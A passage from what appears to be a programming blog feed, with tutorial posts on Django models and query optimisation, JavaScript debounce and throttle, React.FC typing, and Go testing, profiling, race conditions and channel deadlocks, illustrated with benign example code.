OpenAPI (Formerly Swagger)
ReDoc
Aglio

Consider implementing them in your project.

There are even frameworks such as FastAPI that include the documentation by default in the projects

Interface generated by Open API

How to test a REST API?

Each endpoint of your API should be tested, make sure they return the correct status codes for each combination of HTTP method and user type (authenticated, anonymous, no permissions, etc.). For testing you can always rely on classic solutions such as HTTPie or Curl.

On the other hand, if you want something more visual, more user-friendly, and easier to use, consider using specialized tools, such as Postman, Insomnia or Hoppscotch.

Insomnia GUI, API testing tool

In order not to extend the post so much, the next post will deal with some more subjective REST API design and best practices questions such as: how to return JSON correctly? How much to nest an API? What are the ways to version an API?

Reference sources

Categories in Django using ForeignKey to self

Wed, 30 Mar 2022 00:00:00 +0000

Grouping by categories is quite common in web applications, from movies, courses or any other resource that presents a hierarchical relationship to another object. In Django there are different ways to model these relationships. Probably, the first that will come to your mind will be to create a category object, and then relate it by means of a ForeignKey with a subcategory.

One subcategory or level per model

What I meant by one category or level per model is something like this:

# app/models.py
from django.db import models

class Category(models.Model):
    name = models.CharField(max_length=256)
    # other properties

class SubCategory(models.Model):
    name = models.CharField(max_length=256)
    # other properties
    category = models.ForeignKey(Category, related_name="subcategories", blank=True, null=True, on_delete=models.CASCADE)

This approach to the hierarchy problem in Django looks good at first glance. The resulting structure will look something like this:

The problem of using a model by category

This scheme will work in situations where the hierarchies do not nest very deep, but what if those subcategories have subcategories?

Imagine a horror movie category, with a ghost subcategory that, in turn, has a home ghost subcategory and this, in turn, a subcategory of type of ending.

Well, we add a SubSubCategory class, don’t we? But… what if those SubSubCategories have in turn subcategories. See what I’m trying to get at?

Every time you need to create a new subcategory you will have to create a new model in the models.py file of your application. And not only that, but a new table that probably only has a few records. Is there a better approach to the problem? The versatile Django Framework’s ORM offers a pretty clean solution.

ForeignKey to the same model in Django

To simplify the problem of categories in Django, we create a single model, with a property of type ForeignKey or foreign key pointing to the same object; that is, to self.

# app/models.py
from django.db import models

class Category(models.Model):
    name = models.CharField(max_length=256)
    parent = models.ForeignKey(
        "self",
        related_name="subcategories",
        on_delete=models.CASCADE,
        blank=True,
        null=True,
    )

In this way we will have a structure similar to a graph, where each node points to another.

This new arrangement allows us to create as many subcategories as we want, without the need to create new models. To do so, we simply assign the parent property to the Category class instance we want it to belong to.

Accessing the same model in Django

See how the ForeignKey does self in practice:

from my_app.models import Category
parent = Category.objects.create(name="Programming languages")
subcategory = Category.objects.create(name="Python")
subcategory.parent = parent
# save it in the database
subcategory.save()

I explain what happens. First we create a main category, and a subcategory. Later, we assign the property parent, of this last one, to the main category. And ready, we save.

Finally, let’s create a sub-subcategory for our subcategory

subsubcategory = Category.objects.create(name="Django")
subsubcategory.parent = subcategory
subsubcategory.save()

Notice how we have created another sub-subcategory (called Django), which comes from the same model we used in the other two. To assign it to a category, we match its parent property to the subcategory we created (named Python).

As you have already seen, a single model allows us to add as many subcategories as we want.

Access to subcategories

If we examine the parent category, which we created previously, we will notice that it has a list of subcategories, among which our subcategory (Call Python) is already included.

We can access it as we would any other many-to-one relationship.

parent.subcategories.all()
<QuerySet [<Category: Category object (2)>]>
parent.subcategories.all()[0].name
'Python'

Go from subcategories to categories

On the other hand, if we want to go “in reverse” from the most nested category to the least nested, we simply go through it; we access the parent, and then the parent of the next instance, and so on as many nestings as we need.

subcategory.name
'Django'
subcategory.parent.name
'Python'
subcategory.parent.parent.name
'Programming languages'

Other resources

Official documentation on the ForeignKey to self

Debounce and Throttle Interactive Explanation

Wed, 23 Mar 2022 00:00:00 +0000

I thought let’s do a Debounce vs Throttle. Debounce and throttle are design patterns used to limit the execution of functions, generally they are used to restrict the amount of times an event is fired: click, scroll, resize or other events. This patterns are not exclusive to Javascript and can be used in any language or can be used as high level abstractions; in a previous post I explained how to use throttle to limit the number of requests received by the nginx server .

Both patterns generate a function that receives a callback and a timeout or delay.

Debounce vs Throttle interactive and visual explanation

Let’s use an interactive example to see the differences between Debounce and Throttle. Think of a virtual farm, where each time you press a key, an animal is added to the pen. We have two pens, one that works with Debounce and the other with Throttle.

If you type in the text box, you’ll see how each pen behaves.

Debounce vs Throttle main differences

If you’re in a rush ~~or just lazy~~, these are the main differences and applications for both patterns. However, if you want a deeper understanding of both keep reading.

Aspect	Debounce	Throttle
Definition	Executes the function after a specified delay from the last time the event was triggered.	Executes the function at regular intervals, ensuring it is called no more than once per period.
Timing of Execution	Delayed until the event stops firing for a certain period.	Executes immediately or at fixed intervals, regardless of how frequently the event occurs.
Use Case Example	Search input field: updating suggestions only after the user stops typing for a moment.	Scroll events: limiting the rate at which a scroll position is calculated.

What’s the debounce pattern?

The debounce pattern postpones the execution of a function until a certain waiting time has elapsed.

Further attempts to execute the function will cancel the pending execution and restart the timeout.

Debounce pattern explanation

The code for debounce in javascript looks like this:

const debounce = (callback, waitTimeInMs) => {
  let timeout 
  return (...args) => {
    clearTimeout(timeout)
    timeout = setTimeout(()=> callback(...args), waitTimeInMs)
  }
}

Our debounce function returns a function, which will receive any number of arguments (…args).

This function uses a closure to access the variable timeout. What is timeout? timeout is a setTimeout function, which schedules the execution of our callback for later execution.

But now pay attention to the clearTimeout. Every time we call the debounce function it will clear any scheduled function, so the only way for our callback to run is to wait for the time we passed as an argument.

How does the throttling pattern work?

The throttling pattern sets a waiting time during which no more functions can be called again. Unlike the bounce pattern, the timeout is not reset if we try to call the function again.

Explanation of throttling pattern

The code for throttling in javascript looks like this.

const throttling = (callback, delay) => {
  let timeout
  return (...args) => {
    if (timeout !== undefined) {
      return
    }

    timeout = setTimeout(() => {
      timeout = undefined
    }, delay)

    return callback(...args)
  }
}

The throttling function returns a function that will have two sides depending on the timeout status:

timeout is defined: this means that a function is already scheduled for execution, in this case the function does nothing, i.e. it blocks the execution of new functions by means of an empty return.
timeout is not defined: if timeout is not defined, we create a setTimeout and assign it to the timeout variable. This function, once its execution time has elapsed, will remove itself from the timeout variable. Subsequently, and to finish, we execute the callback function.

Other resources on debounce and throttling

How to customize the User model in Django?

Wed, 16 Mar 2022 00:00:00 +0000

In this post I explain three methods to extend or customize Django’s User model, without having to rewrite it from scratch, and keeping all Django’s user management features

But, before we start, let’s see where Django’s User model comes from.

Where does the Django User model come from?

Django’s User model inherits from AbstractUser which, in turn, inherits from the AbstractBaseUser class.

graph TD; AbstractBaseUser-->AbstractUser; AbstractUser-->User;

If you look at the Django source code, you will see that the User model you normally use has virtually no functionality of its own, but inherits all of its functionality from AbstractUser.

Screenshot of Django version 4.0 code

Now that we know the above, we can use the AbstractUser and AbstractBaseUser classes to create our custom User models.

Extend Django user model inheriting from Django’s AbstractUser subclass

This method is probably the most popular method for extending Django’s User model. This is because it retains almost all the functionality of the original User model.

# users/models.py
from django.contrib.auth.models import AbstractUser
from django.db import models

class CustomUser(AbstractUser):
    # Other properties defined by you
    credits = models.PositiveIntegerField(verbose_name='credits',
        default=0, 
        blank=True)

After creating a new class that inherits from AbstractUser, we need to tell Django that we want to use this new model instead of the default user model.

We set this behavior in our configuration file.

# settings.py
AUTH_USER_MODEL = 'users.CustomUser'

Extend Django user model using the custom model in Django’s account views

If we want to use the Django template system to automatically generate a registration form, we will need to tell Django to use the new user model, for this we inherit a new form from the UserCreationForm class, and pass it our custom model, which we can with the get_user_model method.

from django.contrib.auth import get_user_model
from django.contrib.auth.forms import UserCreationForm

User = get_user_model()

class RegisterFormForCustomUser(UserCreationForm):
    class Meta:
        model = User
        fields = ['username', 'email']

And that’s it, we can use it exactly as if we were using the User model included in Django.

django admin does not hashed passwords

When we use a custom user model, we need to tell Django to handle passwords with the default user functionality

from django.contrib import admin
from django.contrib.auth.admin import UserAdmin
from django.contrib.auth import get_user_model

user = get_user_model()

class CustomUserAdmin(UserAdmin):
    pass

admin.site.register(user, CustomUserAdmin)

Now the admin panel will behave exactly as it would with the default Django user.

What does AbstractUser look like internally?

Notice how the AbstractUser class inherits from _AbstractBaseUse_r and has multiple fields available to profile a user. Also, it cannot be instantiated directly, as it is an abstract class.

Screenshot of Django version 4.0 AbstractUser code

Let’s move on to the second method.

How to change the user field for authentication in Django?

If you look at the code above, there is an uppercase property called USERNAME_FIELD, there you can specify another field to work as the user. As you don’t want two users to identify themselves in the same way that field has to be marked as unique. Besides that you have to modify the object manager, the code is a bit long so I won’t put it here

class CustomUser(AbstractUser):
    custom_id = models.CharField(max_length=40, unique=True)
    # ...
    USERNAME_FIELD = 'custom_id'

Extend Django user model inheriting from subclass AbstractBaseUser

This class, as you can see in the previous image, is the base class used to create the AbstractUser. Its operation is the minimum and it only has 3 fields:

password
last_login
is_active

It only has the authentication function. And you have to indicate which field will be used as username, to authenticate the user.

This method is usually used to fully customize the User model or when we need almost no extra fields.

# users/models.py
from django.contrib.auth.base_user import AbstractBaseUser
from django.db import models

class CustomUser(AbstractBaseUser):
    email = models.EmailField(verbose_name='emails', unique=True, max_length=255)
    credits = models.PositiveIntegerField(verbose_name='credits',
        default=0, 
        blank=True)
    USERNAME_FIELD='email'
    REQUIRED_FIELDS = []

Remember to tell Django to use your custom model instead of the default one.

# settings.py
AUTH_USER_MODEL = 'users.CustomUser'

What does AbstractBaseUser look like internally?

The following image is a direct screenshot of the Django code in version 4.0

As you can see, it only has the 3 fields mentioned, it inherits directly from models.Model and its Meta class tells Python that it is an abstract model; you cannot create instances directly from it.

Screenshot of Django AbstractBaseUser version 4.0

Now let’s look at the third way to extend Django’s User model.

Extend Django user model creating a profile for model User

Another way to extend the user model is to create another model that serves as a container for the extra fields and then relate it by an OneToOneField field to the model that the Django configuration receives by default.

This approach is ideal if we are the creator of a package that needs to customize the User model of the project to work, but without modifying it directly.

It is also useful when we need several types of users or different profiles, with different fields between them.

To create a profile in this way it is enough to declare a field that relates our new model to the User model, by means of an OneToOneField.

from django.conf import settings
class Profile(models.Model):
    # other fields
    user = models.OneToOneField(settings.AUTH_USER_MODEL, on_delete=models.CASCADE)

And to access our user, we access the field that relates it to the model we created.

user = User.objects.get(username='user')
user.Profile

Other resources

Differences between Django select_related and prefetch_related

Wed, 09 Mar 2022 00:00:00 +0000

Django’s select_related and prefetch_related methods are used to reduce the number of queries made to the database. This translates into response time for each view. In addition, using these methods is one of the actions to implement to improve the performance of a Django application

Just consider that there are more important things to optimize other than your app’s performance , but if you insist, dive into annotate and aggregate, and be careful with the nested subqueries of annotate because they can make your django queries go really slow

Differences between django select_related and prefetch_related summarized

	select_related	prefetch_related
Relationship	Foreign key or One to One	Many to Many
Number of queries	1	2
Union of objects	Directly by SQL	Using Python

django select_related

The select_related method is used to follow a relationship of type ForeignKey or OneToOneField to the respective objects it points to and obtain them..

When using select_related we will have a longer query, however, the advantage is that it will no longer be necessary to access the database again to obtain the objects of the related model.

Consider this example:

from django.db import models

class Main(models.Model):
    name = models.CharField(max_length=256)

class Derivative(models.Model):
    name = models.CharField(max_length=256)
    main = models.ForeignKey(
        "Main", related_name="derivatives", on_delete=models.CASCADE
    )

If we try to access the object pointed to by the Foreign Key relationship, a new database query will be generated. select_related avoids that extra query for each object.

{% for object in queryset %}
    <p>{{object.name}}</p>
    <small>{{object.main.name}}</small>
{% endfor %}

For example, if we have three Derived objects related to a single main object:

A main query that retrieves all objects Derivative
Three queries, exactly the same, one for each time we access the main object from the Derived object.

Use select_related in a query

To use select_related we call it from our query, passing it the name of the field that corresponds to our relationship with the other model.

Derivative.objects.select_related("main")

Internal operation of select_related

How select_related works internally, select_related replaces multiple queries being performed by a single INNER JOIN at the database level:

SELECT my_app_derivative.id,
       my_app_derivative.name,
       my_app_derivative.main_id
  FROM my_app_derivative

SELECT my_app_main.id,
       my_app_main.name
  FROM my_app_main
 WHERE my_app_main.id = '1'

SELECT my_app_main.id,
       my_app_main.name
  FROM my_app_main
 WHERE my_app_main.id = '1'

SELECT my_app_main.id,
       my_app_main.name
  FROM my_app_main
 WHERE my_app_main.id = '1'

This reduces multiple SQL queries to a single, longer query.

SELECT my_app_derivative.id,
       my_app_derivative.name,
       my_app_derivative.main_id,
       my_app_main.id,
       my_app_main.name
  FROM my_app_derivative
 INNER JOIN my_app_main
    ON (my_app_derivative.main_id = my_app_main.id)

django prefetch_related

If the select_related method retrieves a single object from a single relationship field, the prefetch_related method is used when we have a multiple relationship with another model, i.e. a relationship of type ManyToMany or a reverse ForeignKey.

Simplified diagram of how prefetch_related works

Consider this example, note the ManyToManyField field towards the Main model.

from django.db import models

class Main(models.Model):
    name = models.CharField(max_length=256)

class ManyToManyModel(models.Model):
    name = models.CharField(max_length=256)
    ManyToManyRel = models.ManyToManyField("Main", related_name="multiples")

If we access the field that represents the multiple relation of our object, without using prefetch_related, we will be impacting the database with a new query.

{% for object in queryset %}
    <p>{{object.name}}</p>
    {% for main in object.ManyToManyRel.all %}
      <!-- New query each iteration -->
      <p><small>{{main.name}}</small></p>
    {% endfor %}
{% endfor %}

Use prefetch_related a query

To use the prefetch_related method call it at the end of our query, choosing the field that represents the many-to-many relationship in our object.

queryset = ManyToManyModel.objects.prefetch_related("ManyToManyRel")

Inner workings of prefetch_related

How does prefecth_related work internally? The prefetch_related method replaces the multiple SQL queries by only 2 SQL queries: one for the main query and the other for the related objects, then it will join the data using Python.

SELECT my_app_main.id,
       my_app_main.name
  FROM my_app_main
 INNER JOIN my_app_manytomanyrel_main
    ON (my_app_main.id = my_app_manytomanyrel_main.main_id)
 WHERE my_app_manytomanyrel_main.manytomanyrel_id = '1'

...

The multiple queries above are reduced to only 2 SQL queries.

SELECT my_app_manytomanyrel.id,
       my_app_manytomanyrel.name
  FROM my_app_manytomanyrel

SELECT (my_app_manytomanyrel_main.manytomanyrel_id) AS *prefetch_related*val_manytomanyrel_id,
       my_app_main.id,
       my_app_main.name
  FROM my_app_main
 INNER JOIN my_app_manytomanyrel_main
    ON (my_app_main.id = my_app_manytomanyrel_main.main_id)
 WHERE my_app_manytomanyrel_main.manytomanyrel_id IN ('1', '2', '3', '4')

Why using React.FC could be a bad practice?

Wed, 23 Feb 2022 00:00:00 +0000

When we use Typescript with React and we want to pass a children as prop to one of our components , we need to indicate the type. Generally we use the type React.FC, which is short for React.FunctionComponent. With this the Typescript message warning us of a children with type any will disappear.

const Component: React.FC = ({ children }) => {
    return (<div>{children}</div>)
}

In addition to allowing us to work with children, React.FC also causes an error if we try to return undefined from our component.

const Component: React.FC = ({ children }) => {
    // Type '() => undefined' can't be assigned to type 'FC<{}>'.
    return undefined
}

export default Component

As you can see, React.FC is quite comfortable to use, but some people do not agree with its use.

React.FC, more disadvantages than advantages?

What’s the problem? Well, some developers claim that React.FC can bring more disadvantages than advantages, there is even a discussion on github (link at the end), in which it is debated whether it is convenient to remove one of the examples in the documentation that uses it.

The user who started this discussion believes that the fact that React.FC is so popular is because its presence in the documentation positions it as the default way to handle React components with Typescript.

Here are some of the reasons why React.FC may have more disadvantages than advantages.

React.FC does not warn us about unused children

React.FC is not always the most explicit way to tell typescript that a component receives children as part of its props.

Imagine that we pass a children to the component, but we don’t use it.

import Component from './Component';

function App() {
  return (
    <Component>I'm the children component</Component>
  );
}

export default App;

Our component does receive the children as a prop, but the React.FC type appeases Typescript and prevents it from returning an error, even if we are not using it.

const Component: React.FC = () => {
    return (
        <div>I'm not the children which receives the component</div>
    )
}

export default Component

Or, for an opposite case; imagine that we do not want our component to receive a children as one of its props, however, as we are using React.FC we will not get any error.

import Component from './Component';

function App() {
  return (
    <Component><div>I shouldn't be here</div></Component>
  );
}

export default App;

Subcomponent pattern in React gets more complicated using React.FC

The component pattern as namespace is fairly simple to create without using React.FC, but with React.FC it can get quite complicated.

Don’t know what it is? Think of a pattern that allows you to group components within a certain parent, which functions as a namespace for our child components; similar to how the C++ namespace std would work.

<Namespace>
    <Namespace.Component />
</Namespace>

In its simplest form, omitting React.FC would look something like this:

const Namespace = (props: NamespaceProps) => {/* ... */}
Namespace.Component = (props: ComponentProps) => { /*...*/ }

But if we choose to use React.FC the code would become more complicated and the readability would decrease a bit.

const Namespace: React.FC<NamespaceProps> & { Component: React.FC<ComponentProps> } = (props) => {/* ... */ }
Namespace.Component = (props) => { /*...*/ }

What can we use instead of React.FC?

The core of the criticism is that React.FC adds the children implicitly, going against the explicit nature of typescript.

Just like using the Go programming language for its compiler.

Typescript decided to use Go for its compiler instead of Rust, making some Rust developers furious

However, the discussion I am talking about is just that, a discussion, it is not written in stone, you may consider that it is better to sacrifice a bit of readability in favor of convenience or, on the contrary, you may believe that it is important to be explicit when working with typescript.

If this is the case, consider that you can always declare the children as a prop explicitly, just as you would any other prop. And in the same way, you can declare the return value of your component as a JSX type element.

interface propsWithChildren {
    children: React.ReactNode
}

const Component = ({ children }: propsWithChildren): JSX.Element => {
    return (
        <div>{children}</div>
    )
}

export default Component

Typescript should not warn you about any errors with this approach to the problem.

Other resources on React FC usage

Below are links to the original discussion and some posts on this topic.

Go: profiling or basic profiling of CPU usage

Wed, 16 Feb 2022 00:00:00 +0000

In addition to unit test testing and coverage measurement in go , this programming language is capable of profiling the efficiency of the code by analyzing it in a very detailed way. This is quite useful to find bottlenecks or very expensive parts of the code, which are called numerous times or whose performance can be improved.

How does Go profiling work internally in GNU/Linux?

GNU/Linux, more specifically GNU, has an alarm signal called SIGPROF , this signal warns when a timer finishes measuring CPU usage and interrupts code execution.

In Go profiling, the SIGPROF signal is programmed to be called every 10 ms. Each time this signal is invoked, the current instruction of the program counter (PC) is examined and traced back to the sequence of instructions that called it. The result of the above process is a report of the elements in the execution stack, known as stack trace .

The profiling process will slow down the execution of the code, as it is interrupted every 10ms to see what is being executed. As you probably already deduced, if a function is found multiple times in the stack traces that are generated after each SIGPROF signal, it means that it has been running for a long time.

At the end of the profiler the go pprof tool organizes the data so that it can be represented in a more user-friendly way.

CPU profiling in go

For this entry I will use the classic fibonacci recursion to demonstrate the profiling capabilities of go. I am using go version go1.15.15 linux/amd64.

func Fibonacci(n int) int {
    if n <= 1 {
    	return n
    }
    return (Fibonacci(n-1) + Fibonacci(n-2))
}

For testing in go, just as I explained in the previous post, we will use an array of structs to handle the different cases.

func TestFibonacci(t *testing.T) {
    tables := []struct {
    	n int
    	fibo int
    }{
    	{0, 0},
    	{1, 1},
    	{2, 1},
    	{15, 610},
    	{17, 1597},
    	{40, 102334155},
    }

    for _, table := range tables {
    	result := Fibonacci(table.n)
    	if result != table.fibo {
    		t.Errorf("Fibonacci incorrecta, esperabamos %d, pero obtubimos %d", table.fibo, result)
    	}
    }
}

Obtaining profiling information

As we did to view the coverage in go testing , we use a flag to create a file with the profiling information in binary, this file cannot be viewed directly.

go test -cpuprofile=cpu.out

PASS
ok _/home/eduardo/Programacion/goTesting/testing 0.813s

But it can be used by other tools to visualize it in a more human way.

Display profiling results

To see the cpu usage summary we use tool pprof passing as argument the file containing the profiling data.

go tool pprof cpu.out

File: testing.test
Type: cpu
Time: Feb 10, 2022 at 1:06pm (CST)
Duration: 802.18ms, Total samples = 690ms (86.02%)
Entering interactive mode (type "help" for commands, "o" for options)

After executing the above command we will be inside a terminal. If we execute top we will see the behavior of our code.

See how Fibonacci occupies almost all of the time used.

(pprof) top

File: testing.test
Type: cpu
Time: Feb 10, 2022 at 1:06pm (CST)
Duration: 802.18ms, Total samples = 690ms (86.02%)
Entering interactive mode (type "help" for commands, "o" for options)
(pprof) top
Showing nodes accounting for 690ms, 100% of 690ms total
      flat flat%   sum%        cum cum%
     680ms 98.55% 98.55%      680ms 98.55%  _/home/eduardo/Programacion/goTesting/testing.Fibonacci
      10ms 1.45%   100%       10ms 1.45%  runtime.epollwait
         0 0%   100%      680ms 98.55%  _/home/eduardo/Programacion/goTesting/testing.TestFibonacci
         0 0%   100%       10ms 1.45%  runtime.findrunnable
         0 0%   100%       10ms 1.45%  runtime.mcall
         0 0%   100%       10ms 1.45%  runtime.netpoll
         0 0%   100%       10ms 1.45%  runtime.park_m
         0 0%   100%       10ms 1.45%  runtime.schedule
         0 0%   100%      680ms 98.55%  testing.tRunner

Within the pprof terminal it is possible to inspect the average execution time of each line of a function, using:

list <nombre_funcion>

After executing the command a list will be generated where we can see each function broken down line by line, along with its impact.

You have probably noticed that most of the time is consumed by the recursive part of Fibonacci.

Export of results

In addition to console results, we can also visualize the results, in a more understandable way using the web command, which creates a small schematic accessible from the browser.

Each box represents an individual function and the lines indicate the order in which the functions call each other.

As an optional parameter we can pass the name of a function and go will filter the results.

(pprof) web <funcion>

The schematic generated by the web command can be exported to a pdf with the pdf command.

(pprof) pdf

Other profiling resources

Go: basic testing and coverage

Wed, 09 Feb 2022 00:00:00 +0000

Go already has a testing module in its standard library that is ready for our use, we just need to import it and use it.

Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it

Testing preparation in go

For the tests to be carried out we need:

A file ending in _test.go * A file ending in _test.go * Run the command go test.

Run the go test command

├── go.mod
├── main.go
└── testing
    ├── main.go
    └── main_test.go

1 directory, 5 files

Consider that, if you are going to assign a name to your package , you should never name it testing. Why? If you do, go will confuse its testing package with yours, returning those incorrect results.

To create the tests, inside the testing/main_test.go file, we need a function that receives as argument our testing package with the destructuring character.

We will compare the result using an if, or whatever we want and, if the test fails, we will call the Errorf method of the testing module.

package main

import "testing"

func TestDivision(t *testing.T) {
    total := Division(10, 2)
    if total != 5 {
        t.Errorf("División incorrecta, obtuvimos %d pero se esperaba %d", total, 5)
    }
}

It is not necessary that the functions to be tested are inside the testing file, in this case I placed them inside testing/main.go.

package main

func Division(a int, b int) int {
    return a / b
}

Execute tests

To run the tests we need to find ourselves inside the directory where our files ending in _test.go are located and run the go test command. If the test passes we will get the PASS message.

cd testing/
go test

PASS
ok main/testing 0.001s

On the other hand, if the tests fail, the word FAIL will be printed on the screen:

--- FAIL: TestDivision (0.00s)
    main_test.go:14: División incorrecta, obtuvimos 12 pero se esperaba 5
FAIL
exit status 1
FAIL main/testing 0.001s

Case management with tables

In the above example we used one function to test one case, however, if we needed to test multiple cases, we would need a function for each test, quite tedious, right?

To avoid filling up with functions, developers use an array composed of structs, where each struct represents a case to be tested. You can think of the array of structs as a table, where each row is a case and each column is a data type to be tested.

In this case, each struct in our array consists of three integers; the first two represent the arguments, while the last one is the result.

tables := []struct {
    	x int
    	y int
    	r int
    }{
    	{100, 10, 10}, // 100 / 10 = 10
    	{200, 20, 10}, // 200 / 20 = 10
    	{300, 30, 10},
    	{1000, 100, 10},
    }

I’m sure you’ve noticed that we’re not covering division by zero, but leave it at that for now.

Now that we have our array of structs, we will iterate over each of its elements using go’s range function . This way we will cover each case.

for _, table := range tables {
    	total := Division(table.x, table.y)
    	if total != table.r {
    		t.Errorf("División de %d entre %d incorrecta, obtuvimos: %d, pero el resultado es: %d.", table.x, table.y, total, table.r)
    	}
    }

If everything went well, we will pass all the tests.

Coverage

Coverage is already part of the code in go, so we do not need external libraries. If you don’t know what Coverage is, think of it as the percentage of your code that is tested. If all your code goes through the tests you will have a coverage of 100%, if only half of it goes through the tests the coverage will be 50%. Previously I talked about coverage in my entry unittest in Python

To calculate the coverage, simply add the -cover flag to the go test command.

go test -cover

PASS
coverage: 100.0% of statements
ok _/home/eduardo/Programacion/goTesting/testing 0.002s

As our function is tiny, we obtain a result of 100%, without breaking down, from coverage

Export coverage results

We can send all the raw data from our coverage test to an external file with the -coverprofile flag.

go test -coverprofile=coverage.out

mode: set
/home/eduardo/Programacion/goTesting/testing/main.go:3.33,5.2 1 1

This file, named coverage.out, which was generated, is a file containing raw data and will be needed to visualize the results in a more detailed way.

Viewing results with go tool

To summarize in a more readable way the information of the file containing our coverage test, we will use the tool command, accompanied by the -func flag, followed by the file name. This will return a broken down coverage result.

go tool cover -func=coverage.out

/home/eduardo/Programacion/goTesting/testing/main.go:3: Division 100.0%
total:                                                  (statements)    100.0%

Go also allows us to visualize the coverage in HTML format, with colors, directly in our browser. For this we use the -html option, followed by the file with the coverage data.

When the command is executed, a browser tab will open and show the tested results in green and the untested results in red.

go tool cover -html=coverage.out

Full html coverage in go

If we decide to modify our function to handle the division by zero cases, and run the coverage tests again, we will get a different scheme than before. Now a section of code not covered by the tests appears in red and our coverage dropped to 50%.

Incomplete html coverage in go

This is the end of this super short entry about go testing. For the next entry I will talk a little bit about profiling and I will finish the basic go entries to write again about Python.

Other resources on testing

Go: race conditions on goroutines and mutexes

Wed, 02 Feb 2022 00:00:00 +0000

In past posts I talked a bit about goroutines, deadlocks and channels . But there is another quite interesting issue about goroutines that stands out when we use asynchrony and there are many functions accessing data at the same time and. Multiple functions reading and writing the same information can lead to chaotic situations where very strange things can happen.

Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it

What is a race condition?

If you already know what a race condition is, you can skip to the next section. If you do not, keep reading.

A race condition occurs when two threads have access to a shared variable at the same time. Let me give you a more detailed example.

Imagine it’s a special day on your dubious content website and you’re going to give away 20 tokens to your users for every new user they refer. Then you decide to use goroutines to implement the functionality. Everything goes smoothly, until one of your customers contacts you about an alleged bug.

DarkLord69 claims to have referred two people, however he complains that his tokens have not increased by 40, but by 20.

You probably think you’ve already messed up in the code, but everything looks good, so what could have gone wrong? After reviewing your code you realize that the problem is in the goroutines.

It happens that a goroutine read the amount of DarkLord69’s credits: 120, and, almost at the same time, another goroutine read those same credits.

The first goroutine said, “I have 120 credits, if I add 20, the total of new credits is 140”.

While the second goroutine, almost at the same time as the first one, said: “I read that there were 120 credits, if I add 20, the total of new credits will be 140”.

Both goroutines are setting the total credits at 140, because they read, almost at the same time, that there were 120.

Example of a race condition in go.

As you may already know, DarkLord69 will not be joyful, but if you give him some extra tokens as compensation there should be no problem. But what if instead of tokens it had been money, or perhaps some other more precious commodity?

Now let’s go to an example made in code.

If you don’t understand what the waitgroup does, I wrote a post where I explain goroutines, channels and waitgroups that you can refer to. For now, just keep in mind that they wait for all goroutines to finish before proceeding with the code execution.

package main

import (
    "fmt"
    "sync"
)

var tokens int = 120

func main() {
    var wg sync.WaitGroup
    for i := 0; i < 10; i++ {
    	wg.Add(1)
    	go func() {
    		tokens_leidos := tokens
    		tokens_leidos += 20
    		tokens = tokens_leidos
    		wg.Done()
    	}()
    }
    wg.Wait()
    fmt.Println(tokens)
}

The important part is that, within a goroutine, we read the variable content tokens, then increment it by 20 and then assign that result to tokens again. But no problem, if we run the code we will get the correct result: 320 (120 tokens + One increment of 20 tokens for each of the 10 goroutines).

Everything is perfect, isn’t it? No, the code is so small and the process happens so fast that you don’t notice the problem.

If we add a small waiting time in the goroutines (which can be caused by a database access or any other process), we will face the problem head on.

package main

import (
    "fmt"
    "sync"
    "time"
)

var tokens int = 120

func main() {
    var wg sync.WaitGroup
    for i := 0; i < 10; i++ {
    	wg.Add(1)
    	go func() {
    		tokens_leidos := tokens
    		time.Sleep(1 * time.Millisecond) // Tiempo de espera
    		tokens_leidos += 20
    		tokens = tokens_leidos
    		wg.Done()
    	}()
    }
    wg.Wait()
    fmt.Println(tokens)
}

After executing the code, instead of the correct result, I get 140 with 1 millisecond and 200 with one microsecond.

Detect race conditions with –race

To help us identify these problems, Go has a flag to detect race conditions, if we run the compilation with the –race flag we will see that go warns us that our code has race conditions.

go build --race main.go
./main.go
==================
WARNING: DATA RACE
Read at 0x0000005fe430 by goroutine 8:
# ...

Preventing race conditions with Mutex

There is an object called Mutex (mutual exclusion) that will ensure that our code does not access a variable until we tell it to, preventing race conditions from occurring.

Think of a mutex as a lock, which will block access to our code by other goroutines until we release it.

var lock sync.Mutex
lock.Lock()
// Todo lo que está aquí está bloqueado para el resto de las goroutines
lock.Unlock()

How Mutex works in go

If we protect the reading and writing of the tokens variable, our code should work perfectly. Even if we compile with the –race flag and run it, Go will no longer return a warning.

package main

import (
    "fmt"
    "sync"
    "time"
)

var tokens int = 120

func main() {
    var wg sync.WaitGroup
    var lock sync.Mutex
    for i := 0; i < 10; i++ {
    	wg.Add(1)
    	go func() {
    		lock.Lock()
    		// Todo lo que está aquí está bloqueado para el resto de las goroutines
    		tokens_leidos := tokens
    		time.Sleep(1 * time.Millisecond)
    		tokens_leidos += 20
    		tokens = tokens_leidos
    		lock.Unlock()
    		wg.Done()
    	}()
    }
    wg.Wait()
    fmt.Println(tokens)
}

Read and write mutex

In addition to the above mutex, Go has a lock called RWMutex, which allows, at any given time, only a single goroutine to write or multiple readers to read.

RWmutex works by activating the lock when there is a process writing to the lock, during which time the contents of the lock cannot be read or written to. But when one process is reading, other processes can read as well.

var lock sync.RWMutex
lock.RLock()
// Todo lo que está aquí está bloqueado para el resto de las goroutines
lock.RUnlock()

Useful mutex resources

Race conditions (en inglés)

Go: channels, understanding the goroutines deadlocks

Wed, 26 Jan 2022 00:00:00 +0000

When working with channels there is a quite common error that occurs when you are not familiar with the concepts, the error is “fatal error: all goroutines are asleep - deadlock!”. The first time I saw this error I was perplexed and, although I knew how to fix it, I didn’t understand why it happened, so in this post I explain why it happens as I would have liked to have read it at the time.

Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it

Why does the error fatal error: all goroutines are asleep - deadlock! happen?

This error occurs when:

A channel sends information, but no channel is there to receive it.
There is a channel that receives information, but not channel that sends it.
When we are not inside a goroutine other than the one from the main function.

In any of these cases the goroutines are “waiting” either to send or receive information, so we can say that we are “stuck” and that is when we receive the fatal error: all goroutines are asleep - deadlock!

Blocking operations

In go, operations that send or receive channel values are blocking inside their own goroutine (remember that the main function is a goroutine), i.e., they keep code execution waiting:

If an operation receives information from a channel, it will be blocked until it receives it.
If an operation sends information to a channel, it will be blocked until the sent information is received.

Knowing the two previous situations we will have two main cases:

Blocking or deadlock due to lack of sender

What if an operation is waiting to receive information from a channel, but that channel is never going to send anything?

It happens when there is a channel that receives information, but not one that sends it.

There is no operation that sends data through a channel.

package main

import (
    "fmt"
)

func main() {

    c := make(chan string)
    fmt.Println(<-c)
}
// fatal error: all goroutines are asleep - deadlock!

Blocking or deadlock for lack of recipient

